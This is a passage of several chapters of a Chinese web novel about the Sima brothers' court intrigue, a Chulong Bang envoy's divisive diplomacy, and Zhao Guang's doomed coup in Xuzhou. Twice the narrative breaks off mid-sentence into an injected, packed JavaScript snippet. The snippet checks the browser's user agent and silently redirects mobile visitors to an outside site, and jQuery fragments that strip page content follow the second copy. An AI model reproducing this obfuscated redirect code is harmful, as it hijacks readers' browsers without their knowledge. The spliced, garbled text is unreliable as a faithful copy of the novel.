“要我说,两家实力其实仿佛,却各有长短,眼下情况纷繁复杂,对两家也算是各有优劣。”谢鸣鹤举着空杯在灯火下反复来看,语气虽然随意,内容却显得恳切认真。“譬如说我们刚打完一大仗,损失颇重,你们仓促迁徙,辎重有限;我们是守土,你们是归师;我们有几营成建制的骑兵,你们兵马中的修行者却比我们多;至于说即将到的雨期,当然对我们有利一些,可你们也可能有东都的援军,我们肯定要分兵防备的……” 这几个例子确实中肯,少数牵强的地方也属于人之常情,所以几人全都颔首。 而谢鸣鹤说了几个例子后,见到众人同意,果然一拐:“但有一处地方,双方对比,并不是简单的优劣,而是能直接决定生死……对你们来说,这就是命门,也是我们必胜的缘由所在。” 话到这里,他却忽然又闭嘴不说了,似乎是在卖关子,又似乎是不想说。 而司马进达听到这里也并不吭声,乃是扭头回头去看自己兄长,因为他也不确定要不要听下去。 毕竟,身为敌方的使者,谢鸣鹤接下来的话明显是会带来风险的……当年张世昭巧言乱巫,一张嘴弄崩了巫族联盟的事情,他们可都还记得呢。 不过,坐在首位的司马化达并没有表态,而是自顾自缓缓自斟自饮,非只如此,就连谢鸣鹤也不急,也坐在那里自斟自饮。 终于,等了一阵子后,不待司马进达说话,座中张虔达便先忍不住了:“谢总管,你说的命门是什么?” “就是你们军队虽然强盛,却令出多门,群龙无首,而且名实相违,而我们黜龙帮虽然经历了许多波折,但终究借上次的事情罢黜了李枢,还趁机建立了大行台,使令出于一。”谢鸣鹤昂然道。“这种情形下,若是双**要决战、死战,我们一定能在首席的指挥下连续不断汇集力量,并坚定策略,从而取胜,你们则必然生乱,继而溃散。” 此言一出,私宴之中,稍显安静,司马化达都不喝酒了。 隔了好一阵子,也无人反驳,只是司马进达来笑:“谢总管,你这离间之策也太直白了。” “你说离间就是离间,无所谓。”谢鸣鹤毫不在乎。“说的好像我一个外人区区几句话,就能凭空引得你们自相残杀一般。须知道,自古以来,我们这些做游说的,便从来不是靠我们一张嘴……若是离间,也是你们自家有裂隙;若是结盟,也是两家合则两利;若是劝降,则是强弱分明;若是求和,也是自家有所恃……司马仆射心中若坚信禁军上下一体,团结一致,又何必嫌弃我这私下酒后一张嘴呢?”…. 司马进达一时讪讪,其余几人也都面面相觑。 片刻后,牛方盛打破沉默,来问其他:“谢总管,你自东都来,不知东都如何?” “东都尚好毕竟有那么多存储,陈粮也是粮嘛,还能酿酒,这年头老百姓能吃饱就行,贵人有酒喝也行……曹林去后,上下也都需要一个司马大将军这般正派的人来维护东都安全……唯一的动荡是你们杀了曹彻,引来一些人对司马大将军的疑虑,还有些人在犹豫要不要自立新君,与你们抗衡。”谢鸣鹤认真作答,复又来问。“你们在徐州停了十来日,司马大将军没派人来说吗?为什么反而问我一个过路的外人?” 在场诸人多有语塞。 “果然,这个不需要我来离间吧?”谢鸣鹤叹气道。“据我所知东都那里,其实乐意接收禁军,但不愿意接这么多;乐意接收皇太后与新帝,却不乐意接收弑君之人……譬如牛舍人你父亲,便是持此论的,司马大将军本人也有些认可……所以东都才不能跟我们黜龙帮做准数,我才到此……” “我就知道!”听到这里,牛方盛当然黯然,司马化达却当先发作,乃是直接将酒杯掷在地上。“他眼里素来没有我这个做父亲的,乃至于当做仇雠!别人父子相对是因公废私,他是因私废公!” 司马进达一个头两个大,本想起身来劝,让对方不要在谢鸣鹤面前露出破绽。 但既然摔了,也是无奈。 还是封常朝谢鸣鹤干笑摆手:“谢公,咱们还是不说东都了。” “那好,司马仆射,几位将军、舍人你们自江都来,不知江都可好?”谢鸣鹤平静反问。“你们在江都四年,我也躲了三四年。” 在座几人干脆沉默。 “诸位,我看明白了,咱们多谈无益……但身为黜龙帮的外事总管,走前我还是要将帮中的意思给重申一遍的。” 谢鸣鹤终于也摇头,而且说着竟也站起身来。 “我们不怕打仗,但这一仗真要打委实有些得不偿失。而且,等你们到了东都,咱们两家也未必一定要为敌,因为白氏势必要取你们,你们强盛一些对我们黜龙帮来说不是坏事。 “故此,只要你们约束全军,逆流而上,沿着淮水一线从淮西北上而不进谯郡北部、彭城郡北部威胁我们的根据之地,并将徐州移交给我们,我们愿意不追究之前你们夺取徐州的行径,并尽量约束部众,不做攻击。 “为了表示诚意,使两家互信,再加上曹彻已死,我们也确实没了顾虑,所以我们愿意接受新帝敕封……但我们不要虚名,只要一件事,那就是予我家张首席建立大行台都督河北、东境、北地、江淮四处百余州郡城卫的权责。 “而且,既然两家说和不战,便要将投降的各处人等,如辅伯石、王厚、王焯等人交还,让我们黜龙帮自家处置。…. “话止于此,我与天**日就走,还请司马左仆射思量清楚,给出答复,若司马左仆射不能做主,也请尽快与另外一名左仆射还有新帝商议妥当,明日午前给出结果。” 说完,再朝主位上的人一拱手,又朝周围人团团一拱手,便径直离去。 人一走,气氛反而活跃。 “求和都是假的,他本意还是要挑拨离间。”封常冷笑一声。“让我们内讧!” “也不尽然吧?”令狐行摇头以对。“此人当然不可信,但有些话却也实诚……黜龙帮尚未恢复元气,不想跟我们打总是真的。” 话到这里,其人顿了一顿,方才继续言道:“打起来,我们未必能胜也应该是真的。” “我觉得是在拖延时间。”赵行密肃然道。“咱们不能老是从我们这边想,得从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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张虔达这个时候方才反应过来:“诸位的意思是,贬斥掉司马虎贲?”…. “骁国公有大功于国,如何能轻易贬斥?”封常赶紧解释。“只要让睿国公独自再进一步便可……在下觉得,睿国公可以学着白横秋做丞相,或者仿效东夷的那位大都督做太师,如此,主次分明之余,赵光的事情或许也能解决,堪称一石二鸟。” “为什么睿国公更进一步,反而能解决赵光?”张虔达是真糊涂了。 “因为赵光和他那帮子人自诩是大魏忠臣,睿国公既做太师,我们再传些流言,说是东都那里司马大将军另立新帝,现在的小皇帝要扔给黜龙帮借刀**处死……他一定会忍耐不住。”封常给出了最终答案。 张虔达彻底明白过来,然后思考片刻,反而摊手:“这么好的主意,为什么现在才说出来?” “主要是怕骁国公心不能平,觉得睿国公做了太师,他做不得。”封常立即来答。 “我去说。”张虔达如释重负。“这有什么?论家门与名望,他虽姓司马,却如何能与睿国公相提并论?而且到了东都,还要指望司马大将军做主……司马大将军再跟睿国公不合,那睿国公这个爵位将来也是司马大将军的,疏不间亲!骁国公该清醒了!” 司马化达连连颔首,并起身过来握住了张虔达的手:“倒是我误会张将军了,此事若成,将来到了东都,必有厚报。” 说着,不待张虔达感恩戴德,司马化达复又环视座中其他人。 虞常南一声不吭站起身来,低头侍立。 而司马进达与赵行密则是对视了一眼,随即,前者达勉力向后者来言:“此事若成,其实不止是赵光能处置,然后速速成行,关键是回到东都,也可以让二郎不要过于轻视我等。” “只要能快点动身,怎么样都行。”赵行密面色铁青,但还是做了回复。“不过我想提醒诸位,在徐州这十来日,虽说一直有事情和说法,但军心已经不稳。” “所以要速速解决此事,不能再拖。”司马化达一手拽着张虔达,一手举起宣告。“三日之内,必杀赵光,若他不中计也要强杀,以确保咱们没有腹心之患,三日之后则必然出城。” 赵行密精神微振:“那要接受黜龙帮条件吗?” “可以给张行这个封赏,虚名而已。”司马化达当场应道。“但降人不可能给他,否则谁还能信我?你们都不信我了!只拖延下去便是。” 虞常南微微舒展了一下身形,却恰好迎来了封常的目光。 “那路呢?”赵行密赶紧来问。“咱们要避开北线,沿着淮水走吗?” “这如何能定?”司马化达当即摆手。“若后勤不足,若军心不稳,若老二到底醒悟过来利害有兵马接应,若黜龙贼外强中干,若局势有变,咱们都要随机应变的。” 赵行密立即颔首,反而安心。…. 倒是司马进达,想了一想,继续来问:“大兄,去封赏的话谁做使者?黜龙帮战和不定,这一去可能会回不来的。” 封常立即向前拱手:“张行此人到底是靖安台中厮混过得,不至于肆意杀戮使者,所以此事简单,属下走一遭便是,顺便打探一下情报。” 司马化达看了看这个河北出身的心腹,笑了笑,复又看向了江东出身东都安家的虞常南,给出答复:“我这里离不开你这个智囊,让虞舍人走一遭吧!” 封常面色不变,只是点头。 虞常南也是拱手如常。 “那一旦启程……徐州怎么处置?”司马进达依旧还算是面面俱到。 “给辅伯石?”司马化达也给出了一个还算是巧妙的安排。“大军一走,徐州必然要空置,正好辅伯石这个人我们也信不过,给他不正好,让他去跟黜龙帮还有淮右盟撕扯。” “不是不行。”司马进达立即认可。“既然辅伯石有了安排,王焯又在前面等我们,那位知世郎呢?大兄有什么安排?还是一并扔掉?” “知世郎我有用。”司马化达终于松开了张虔达的手,呼着酒气来对。“我准备用他来看管皇帝与太皇太后,也看管文武百官和宫人。” 众人目瞪口呆。 令狐行更脱口而对:“这如何能行?一个降人,还是个盗匪,如何能托付皇帝与太后?” 但话刚一出口,他便似乎意识到什么,继而低声来问:“丞相的意思是,骁国公就不必专门看管皇帝了?” “我不是这个意思。”司马化达看了此人一眼,连忙摇头。“我是担心万一路上还是要打仗,打大仗,肯定是要全发战力向前的,却又不好分兵留下来看管皇帝与文武百官,不然留谁?而反过来说,知世郎本人可信,他部下呢?带到前线跟黜龙帮作战,怕是反而会生乱子……正好嘛。” 几人都无话可说。 倒是司马进达硬着头皮提醒:“他本人也未必可信。” “有个法子可以试一试他,封舍人出的主意。”司马化达反而笑了。“咱们不妨从明日晚上开始,从徐州城内开始,就让他看管皇帝,不正好合了我们要将皇帝送给黜龙帮的流言吗?然后等那只大鹏鸟去营救皇帝……到时候看这位知世郎是什么反应?动不动刀,拼不拼命?又会不会来通知我们?你们看,这计策不就连上了吗?正好嘛。” 司马进达看了看自家大兄,又看了看面带笑意的封常,莫名心慌,却又无言以对……不是因为这法子如何,而是他忽然意识到,自家这位大兄本有智囊,且早有决断,却偏偏连自己都没有提前交代。 PS:感谢新盟主高级保安墨悦霸霸老爷,感激不尽!39314262. ... 第十七章风雨行(17) 四月廿一,微雨,白天的时候,司马兄弟以讨论进军与黜龙帮相关事宜召集禁军诸郎将以上汇集于原司马正、来战儿总管府旧邸,尚未坐定,内史舍人封常忽然自外冒雨而来,自称奉旨宣诏,然后宣布了司马化达登丞相的旨意。 事发突然,绝大部分人几乎不知所措,再加上之前的军事政变气氛尚在,居然无人反对。 此事既成,剩下的事情反而没了多少阻力……司马丞相在几位亲信的拥护下端坐主位,接连下令,发虞常南随从雄伯南、谢鸣鹤去招抚黜龙帮,发知世郎王厚为鹰扬郎将,戍卫“宫廷”。 然后又当众宣布,联络吐万长论与鱼皆罗,三日后,也就是四月廿四日,全军西进,折返东都。 众人散开,自然议论纷纷,但大多数人居然有些释然。 许多人都觉得,司马化达要是不做这个丞相反而奇怪,之前拖着不走,固然是接二连三的受降与使者来见,但何尝不是司马化达拿这个做要挟,不当丞相就不走呢? 真当谁不懂啊? 唯一的问题自然是司马德克,原本是同列的左仆射,现在落了半个身子,而且失了控制皇帝的权责,未免有些受压制的意思。但司马德克当时也在场,他虽然全程黑着脸,也无反对的意思,俨然是早有沟通的样子。 待到下午,徐州城内风平浪静,司马德克老老实实让出了太后、皇帝、宫人与文武官员们暂歇的徐州仓城,黜龙帮的那位宗师雄伯南更是带着黜龙帮的外事总管谢鸣鹤与使者虞常南一起离开,众人只觉得卸下了一块胸垒,那自然万事大吉,准备西行了。 就这样,来到晚间,就在其余各营兵马都开始收拾行装的时候,回到本营的右侯卫将军赵光却选择置酒设宴于徐州城西门外大营内。 宴至一半,这位绰号摩云金翅大鹏,估计是军中宗师下第一高手的赵将军,突然掩面叹息,继而开始泪流不止,以至于放声哭泣,哭的叫一个情真意切,叫一个哀意绵绵。 周围人不少,但下属与亲卫们面面相觑,却无人开口,乃是被邀请来的客人麦季才挨得最近,无奈来问:“将军为何哭泣?” “思及先帝与陛下,情不自禁罢了。”赵光掩面作答。 闻得此言,座中倒是没有冷场……实际上,除了赵光的下属之外,请来的几位客人都是赵光精心挑选的,如麦季才,乃是麦铁棍的幼子,他家里跟被打垮的来战儿其实无二,都是对先帝感激不尽的南人草莽武将;如钱英,是赵光自家结义兄弟;如魏敦,是赵光仿照自己履历找到的被先帝提拔起来的布衣将军。 而到场的下属们也都是赵光精挑细选,要么是随从他一路厮混过来的老兄弟,要么是亲手提拔过的亲信。 实际上,麦季才作为座中另外一个独立领兵之人,立即做出了表态:“不管如何,先帝的恩义别人可以不顾,我们不能装作没有……我先父在世的时候,天天说,若不是大魏恩重如山,他还是一个**。后来杨氏**,我父亲已经去世,我们兄弟总担心会被牵连,陛下却依旧对我们任用如初……于公于私,我麦氏又怎么可能忘记先帝的恩义呢?” 赵光连连颔首,便去看钱英。 钱英沉默片刻,给出答复:“我不觉得先帝死的冤,但你也不要问我多余的话,咱们既约了生死,你做什么我跟上去便是……就好像那白三娘,家中那般事业都还为张三弃了,我不过一个队将,如何不成?” 赵光愈发振作,便去看魏敦。 魏敦想了一想,倒是放下酒杯给了另一个说法:“我也不觉得先帝死的冤枉,说是活该也无妨,当日在江都,上下汹汹,一下子**了几万人要杀他,难道是装扮出来的?大殿之上,他自己都承认对不起天下百姓,也被赵行密骂的无言以对,我虽受他提拔,却不觉得要偿命,跟你赵将军更没有什么生死盟约。” 赵光心下一惊,脸上鼻涕未及去擦干净便几乎要去摸剑。 却不料魏敦继续摆手:“但是,先帝暴戾不代表大魏该亡,太皇太后素来有德,新帝才十八,没有发过一张政令,今日司马兄弟这般作为,又算什么?他自家将赵王立起来的,又要轻易废掉?废掉倒也罢了,若是真按照传闻中说的,他们兄弟一面要护着司马氏代魏,一面又早跟黜龙帮勾结,这知世郎是来取赵王给那张行用来称帝时禅让的,那我们这些人领了十几几十年大魏俸禄的人又有什么面目在天下立足?故此,今日之前,碍于大局,不是不能忍,但今日之后,却万万不能忍了!” “就是这个意思!”擦干了脸的赵光大喜。“就是这个意思!魏兄将我心里想说的全说出来了!” 便是麦季才也随之颔首。 而魏敦也继续来做剖析:“其实,若没有今日的事情,我是断不会过来的,因为无论做什么都必败无疑,但今日事后,就有说法了……因为司马氏兄弟自家太着急了,将自己野心暴露了出来。 “伱们想想,今日他做了丞相,原本跟他们联盟的司马虎贲虽然认了,但心里必然不能服。除此之外,牛督公虽然也选择中立,可并不是他本人如何,而是内侍与北衙如何,现在按照司马老贼的主意,将陛下送出去,那敢问没了皇帝,内侍又算什么呢?必然也不能安。至于其余各营,大约都是事不关己,只想赶紧走,现在都在收拾行装便是明证! “这就给了我们可乘之机!” 几人精神一振。 赵光更是主动来问:“果然可以动手?!” “可以。”魏敦昂然来答。“但是,我们如果要动手,有几个要害……” 魏敦根本没想卖关子,但赵光还是迫不及待。 “一则,千万不要打着为先帝报仇的旗号,否则便是与整个禁军为敌,司马德克那边也会死战,但也不要用我们几个人的名义,否则不能服众,也压不过司马氏的名望……”魏敦赶紧来言。 “那该如何?”麦季才也有些焦急。 “齐王殿下素来有威望,而且是正经该做大位的,这次无端**大家都有不满,偏偏又有流言说齐王生不见人死不见尸,我们就打着他的旗号,直接攻入仓城内,只说司马老贼要将陛下送给黜龙贼,我们是去解救陛下!这样牛督公也不会抵抗,那什么知世郎的兵马极弱,也正好来杀个痛快!得手后,全军上下也会震恐疑惧!” “好!”便是钱英也忍不住拍案,这个法子,绝不是他跟赵光这些少年时便无赖的人能想到的。 但是赵光却一边点头一边微微皱眉。 “非只如此,一旦夺回了陛下和太皇太后,便可说服了牛督公,然后就下旨,只杀司马兄弟一人,还要继续西归东都,如此,只要再发兵攻打司马兄弟,或杀了他们,或驱除他们,局势就可以定了!”魏敦继续来做计划。“除此之外,想要动手,依我来看,还有两个要点……” 此时已经无人出声,所有人都屏息凝神来听。 “一处是时机,咱们动手不可太急也不可太缓,启程后被大军裹住,部队运动起来,便不好动手了,但也不能立即动手,需要有所准备,最好是明日晚间或者后日晚间;另一处是兵力,兵力不能太多,多了没用,还容易泄露消息,也不能太少,否则未必能成!”魏敦继续来言。 “魏将军的主意正!”麦季才即刻表态。 “魏将军的主意确实正,但有两件事情我觉得不妥。”赵光沉默了一下,在其余几人的目视下给出答复。“当先一个,我觉得不应该先打仓城,而是应该擒贼先擒王,直接发兵去打司马兄弟!” 几人各自一愣,魏敦更是来辩:“打了仓城,护住了陛下和太皇太后,咱们就有了大义,还有了牛督公!” “牛督公肯定不会参与这种厮杀。”麦季才立即醒悟,摆手以对。“护住了陛下,牛督公也不会动手杀司马氏的家主,堂堂丞相。” “那也有了大义。”魏敦继续坚持。“再打司马氏就简单了。” “还是不妥。”赵光不以为然。“杀了司马化达才是目的,他一死,陛下必然安稳。” “不错。”钱英也醒悟过来。“打杀了司马化达才是根本,而这般动手,最大的倚仗便是一开始的攻其不备,自然要首选司马化达。” “确实,而且司马化达修为不高,又喜欢喝酒,突然攻打过去,说不得直接擒杀了。”麦季才也完全站在了赵光这边。 几人瞩目之下,魏敦沉默了一阵子,勉力来言:“赵将军,那我也实话实说好了,你说的自然有道理,可是我愿意与你做事,不是因为什么先帝的恩义,而是为了如今大魏皇帝不被黜龙帮弄走,你们动手的落处是司马化达,我动手的落处就是仓城的那个王厚……你若是强要如此,我怕是难从你做大事。” 赵光也沉默了一会,却又来言:“若是这般,我并不强求,只请魏将军不要泄露。” “这是自然。”魏敦立即端酒来应。 “那就请魏将军留在此营中一日夜,对外只说是喝醉酒。”钱英忽然开口提醒,俨然是不信任对方。 魏敦心下一惊,便要拒绝。 赵光当即摆手:“一日夜也太久了,到了明日白天不回去,魏将军部属不生疑也生疑了,尤其是魏将军看守的是城门。” 几人立即点头,但魏敦非但没有释然,反而更加警惕起来。 果然,赵光继续来言:“我刚刚就说,还有一条我觉得不妥当,兵贵神速……咱们人少,靠的就是一个突袭,若是拖延下去,万一走漏风声,基本上就没了指望……所以,第一个是要杀司马化达,第二个就是要立即动手!咱们现在回去,动员可用兵马,不用多,八百、一千足够了,天亮之前就可以发动!” 钱英率先颔首:“我这就回去,我能带五十人!” “你不带人都行,要的是你的修为!”赵光提醒道。“司马氏看似强横,但其实司马正一走,司马化达是个废物,我看住司马进达,你直接进去杀了司马化达,事情就妥当了。” 钱英点点头:“若是如此,我就留下带你部精锐!” 赵光点头,复又看向麦季才:“麦将军,请你同时发兵大张旗鼓去攻打仓城……” 麦季才会意,立即应声:“晓得,做你们的幌子,也是另一手。” 这个时候赵光才看向魏敦:“魏将军,你就待在这里,只遣人与营中说酒醉等天亮跟我们一起回去如何?正好我们要借机开门!” 魏敦面色铁青,四下来看,却又侧脸低头相对:“若是你们拿定了主意,明早事后,成了倒也罢了,若是事败,我这个开了门的难道还能不作数?也罢,你原本要我作甚,我随你赌一把吧!” 赵光不由大喜:“若是这般,不用其他,还是只请魏将军天亮后跟我们一起打开城门,然后点兵马随我同行便是!” 魏敦一愣,却是醒悟,对方到底没有让自己提前离开的意思,偏偏又无可奈何。事到如今,他只恨自己不识分寸,非得在这种场合坚持自己方案,以至于召来对方生疑。 就这样,赵光扣押了一度动摇但却是发动突袭的必需人员魏敦后,立即开始筹备,到了三更时分,三个核心再来帐中魏敦身前交流,便已经完成了筹备,然后只在帐中假寐,准备天明之前便做发动。 也就是这个时候,全副披挂的司马进达闯入了他大兄的卧房,一把将近乎赤裸的兄长从一名漂亮侍妾的环拥中揪了起来,惊得这位一月前还是曹彻妃嫔的女子仓皇逃到了床角。 新任宰相清醒过来,懵了片刻,却又似乎反应了过来,立即来问:“魏敦回来了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16167971|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “魏敦没回来!”司马进达当即摇头。 司马化达一时恼怒:“那你老七这么忙慌干什么?有事不能先喊一声?弄了我半床雨水!” “魏敦没回来!”司马进达待对方呵斥完毕,重新加重语气提醒了一句。“三更了,魏敦还没回来!” 司马化达一愣,终于醒悟:“你是说他被赵光发觉,直接砍了?!” “有可能。”司马进达也恢复了正常语气。“但也有可能是被扣押,可扣押不可能持续太久,或者更干脆一点,觉得没必要让魏敦回来,再加上赵光是个纯粹的武夫,性格急躁,所以他们可能会在今夜天明前便发动。” “不错。”司马化达想了想,立即点头。“你去寻司马德克准备吧,我也起来休整一下,那边事罢,我就过去。” “然后还有一种可能,那就是魏敦既被发觉,却又被扣押。”司马进达继续提醒。“这也是我这么着急找兄长的缘故。” 司马化达想了一想,一时间居然没有想明白,而是有些茫然来问:“这是什么意思?” “赵光有没有可能知道仓城是诱饵,反而意识到可以直接冲兄长你来呢?”司马进达冷冷提醒。 司马丞相想了一想,继而目瞪口呆,以手指向自己面孔:“赵光冲我来了?!” 司马进达一声不吭。 而下一刻,司马丞相毫不犹豫,立即从床上跳起来,一边扒拉自己衣物一边喊人来帮他穿衣着甲,匆匆套上了衣服,穿上了其实有点不合身的甲胄,看了眼床上侍妾便径直离开。 气喘吁吁走出总管府后院卧室,司马丞相看向跟来的自家七弟,方才下令:“老七,你留在这里,屋里的女人让她继续睡,这里的官奴家仆和侍卫也继续睡,我先去找赵行密,然后去找司马德克,要是赵光真朝这儿来了,我立即会催促司马德克发大军来围!” 司马进达缓缓颔首,然后在黑夜中看着自家兄长不等回复便匆匆离去的背影,一声不吭。 微雨很快就结束了,而很快,赵光便意识到天亮比想象中来的要早,其人不再犹豫,果断发动,大约千余人的部队在他的命令下立即启动,再加上一起随行的钱英、魏敦,直奔徐州城西门而去。 来到西门,魏敦在赵光的目视下下令开城,而这个时候,麦季才部因为驻扎位置的缘故,也已经来到西门外,并等候在城门另一侧。 城门毫无波澜的打开,随即,麦季才翻身上马,率部先入,然后立即转向位于城市西南部的仓城。 其部打着旗号,骑着战马,行不过百步,趁着早间微弱光线,路上遇到第一队不知所措的巡查兵马后,便立即高声喧哗喊杀。 却正是“奉齐王旨意,只杀司马化达一人”! 一时间,全城震动,继而城外也被震动。 也就是在这些喊杀与混乱声中,赵光、钱英、魏敦率领千余名的精锐披挂完备,步行涌入城墙高达数丈的徐州城内,并且在留下魏敦召集他守城的本部兵马后,毫不犹豫转向了城池正北居中的总管府。 这个时候,位于总管府的司马进达和位于城东司马德克住处的司马化达都有些惊讶,但不是很重,两人只是几乎同时冒出了一个相同的念头——莫非是自己(老七)想多了一层,赵光留下魏敦只是因为决意现在动手,并未察觉到魏敦? 这个不知道是正确还是错误的念头之后,两人瞬间又陷入到了一个关键的犹疑之中——要不要按照计划立即发兵去仓城? 毕竟,现在司马进达率部回到了总管府,仓城那里的皇帝与太皇太后万一被赵光得手了怎么办? 而犹疑片刻后,两人都迅速做出了选择。 “等一等,这厮虽然中计,却不妨等两刻钟再动。”司马化达一副胸有成竹之态,而且理由充分。“好看看那个知世郎的成色,看他是不是个可信之人。” 唯一有资格动摇司马化达军令的是司马德克,这位如今唯一的左仆射并未吭声,而是望着外面微微发亮的天色,听着满城的喊声有些发呆,坦诚说,他对这个局势有一些失望,现在他其实更希望赵光没有中计入城。 何必呢? 另一边,立在总管府后院的司马进达犹豫了一下,突然朝身边的侍卫下令:“走!准备跟我去仓城!” 总管府瞬间乱作一团。 而刚要扶剑离开,司马进达突然想起一件事,复又转回到卧室,须臾片刻,便拎着带血的剑走出来,然后重新插入剑鞘。做完此事,其人也不上马,而是率领自己昨夜带来的千余人精锐迅速撤出了总管府内外,往预定的埋伏点仓城而去。 于是乎,一刻钟后,他与摩云金翅大鹏在大街上当面相撞。 司马进达见到赵光率部而来,居然也松了口气,而且明知道自己不是对方对手,也毫不犹豫施展真气,奋力迎上……毕竟,这位司马右仆射心知肚明,只要对面这只大鹏鸟不能迅速杀了自己,那援兵马上就会从四面八方涌过来,这一次猎鸟的计划,终究会成功。 而赵光见到司马进达率部自总管府而来,同样不惊反喜,也是立即鼓荡真气,高高跃起,而且是后发却远高于快于对方,然后宛若一只大鹏鸟扑杀猎物一般直接扑向对方……赵光同样清楚自己不可能在援军抵达前宰杀掉司马氏这一代最出色的一位,但不要紧,只要在那些人围杀掉他之前,偷偷从巷口绕过交战街道的钱英能够杀了后面总管府里的司马化达就行。 不是说这样就一定会反转局势,但最起码能够坏了司马氏的局面,算是给先帝报了三分仇! 这就足够了! 区区匹夫,哪里要想那么多呢? ps:感谢新盟主放开那母猴老爷的上盟!感激不尽! (本章完) 第十八章风雨行(18) 事后而论,不管怎么分析,大魏右侯卫将军赵光于四月廿二日清晨向徐州城内发动的军事行动都没有些许胜算。 原因很简单,不管赵光及其同党有没有打出齐王的旗号,有没有喊出只针对司马兄弟的口号,都无所谓,因为所有人都知道,赵光就是要报答先帝曹彻的恩义,就是不满司马氏对大魏皇室的欺压,这位在那个昙花一现榜单上位列人榜第三的英杰就是要对江都军事政变进行**……而从这个角度来说,赵光无异于将自己投向了整个江都军事政变主体的对立面上。 那么江都军事政变的主体是谁? 答案是整个禁军!是所有想回家的人! 赵行密在之前的江都军变中充当了前期谋主的作用,他就说过,要想搞成军事政变这个事情,未必要把自己朋友搞得多多的,但一定要把自己的敌人搞得少少的……而赵光从一开始就在这个最关键问题上犯了大错。 仅凭他部下千把人,加上钱英、麦季才区区几百人,即便是当机立断,且用了双重声东击西的策略,可本质上就是靠着钱英这个老兄弟凝丹不久不为人所知的信息差外加他自己的修为**一场刺杀罢了。 故此,当新任丞相司马化达提前警觉,离开总管府,直接去了了其余各路兵马当中时,完全可以事后白帝爷的说,赵光的行动就已经失败了;而当钱英抵达总管府,发现自己无法一击而中后,即便是从赵光这边的当事人来看,行动也已经宣告失败。 但是,那一天早上,在徐州城内亲眼目睹了赵光最后表现的人,恐怕都不会这么认为。 “他怎么了?” 重新开始飘起小雨的徐州城内,当街而立的司马化达有些发蒙……他刚刚得知了总管府被赵光别动队扑空的消息,晓得大局已定,更是以此为理由轻松催动司马德克等人发兵来围杀赵光等人……结果刚刚率主力抵达街口,尚未立定,便看到一只金光闪闪的大鹏鸟冲天而起,不由愕然。 这是一只“真正的”大鹏鸟,浑身金光灿烂,肩膀两侧真气逸散出来足足丈余,宛若一对金翅,手中一柄带着倒钩的三尖两刃奇门**,远远望去宛若大鹏鸟伸出来抓取猎物的利爪。 然而,回应司马丞相的只是数道粗重的喘息声,是一道几乎由远而近的狂笑声,当然还有身前身后瞬间亮起的不同颜色真气光芒,以及前方一道自上而下宛若金光的巨大身影! 赫然就是刚刚腾起的那只摩云金翅大鹏。 大鹏金光闪闪,径直扑杀而来,司马化达在足足七八位成丹、凝丹高手的护卫圈中,只觉得身前金光一闪,然后一声巨响,紧接着便是一股劲风卷动了周边所有事物,碎砖瓦砾枝叶雨水全都飞起,既像飓风又似地震。 “碎丹了!”待对方一击不成而走,毕竟见多识广的司马化达立即反应过来,然后抹着脸上不知道谁喷溅的血沫喃喃自语。“他见我来此,知道此番扑了空,竟然碎丹了?人非激愤异常不能碎丹,他竟然碎丹了?” 周围人,自左仆射司马德克以下,脸色一个比一个难看。 “何必呢?何苦呢?”头盔都被打歪的司马化达无语至极,径直摊手来问周围人。“跑了也行,我们自会放他一条生路,何必要为曹彻这种昏君送命?还是说当了皇帝就这么厉害?让人心甘情愿为他拼命?” 周围人屏息凝神,以作防备,根本无人理会。 下一刻,大鹏鸟再度飞来,而这一次,有了准备的诸位高手在司马德克的统一指挥下同时发力,真气流转,赫然成形,组成了一个以辉光真气为底色的小军阵,恰如地上凭空起了个小太阳,并由令狐行挥舞佩刀借着军阵呼吸腾跃起数丈,朝着扑来的赵光奋力劈杀过去。 两者相撞,到底是实力差距巨大,空中的金光大鹏鸟仿佛被斩断了小半个翅膀一般,瞬间一黯,而剩下主体部分同时飞出,砸落在街边,几乎将半个砖瓦楼给砸碎。 但也只是如此,几乎是须臾之间,一只翅足俱全的大鹏鸟便再度裹着金光飞出,而且不再执着于真气军阵,反而扑向了周遭来围杀的其余禁军各部。 所到之处,真真如雄鹰扑兔一般,几乎当者立碎,更有甚者,直接被那三尖两刃钩枪舞动真气卷起,升到空中再被扔下……这种杀戮方式,在周围军士普遍性着甲的情况下,其实效率更高,更不要说这些人在空中的哀求与落地后的哀嚎引发了混乱与惊慌,使得赵光更加从容出手。 看到自家下属被如此屠戮,立即有三名凝丹将官脱离大阵腾跃起来去阻击,却惊愕发现,这赵光不愧是当年人榜英杰中仅次于龙凤的大鹏鸟,速度奇快,碎丹之后更是肆无忌惮,狂笑声中,往来杀戮,根本阻拦不成,甚至有凝丹高手修为气力不足的,几次被他撞落受伤。 “这么下去不是事!”乱战中,不知何时便已经披头散发的司马进达又一次被从空中扇飞,落地后脸上赫然又多了一条鲜血淋漓口子,情知不能如此,便干脆狼狈脱出战团,来到自家兄长跟前,却又看着对方肩膀上微微泛起的金光一愣,然后心中压下许多纷乱想法,只努力来言。“大兄,总不能等他耗尽真气,那样得死多少人?” “那该如何是好?我又没有伏龙印!”司马化达无语至极,依旧摊手。 “七将军的意思是请援兵!”赵行密就在身后来喊。“要么再唤几位成丹高手来,四面结网困死他,要么请牛督公出手!” 司马化达醒悟,却又迅速有了想法:“都要请!派下面军官去城外请其余各家兵马,告诉他们赵光要替曹彻复仇,如今发了疯,还想西归的都要过来!然后老七你亲自去仓城那里,请牛督公来!说明利害,告诉他,要是他不来,我就告诉禁军上下,全是内侍勾连赵光,不让大家回东都!” 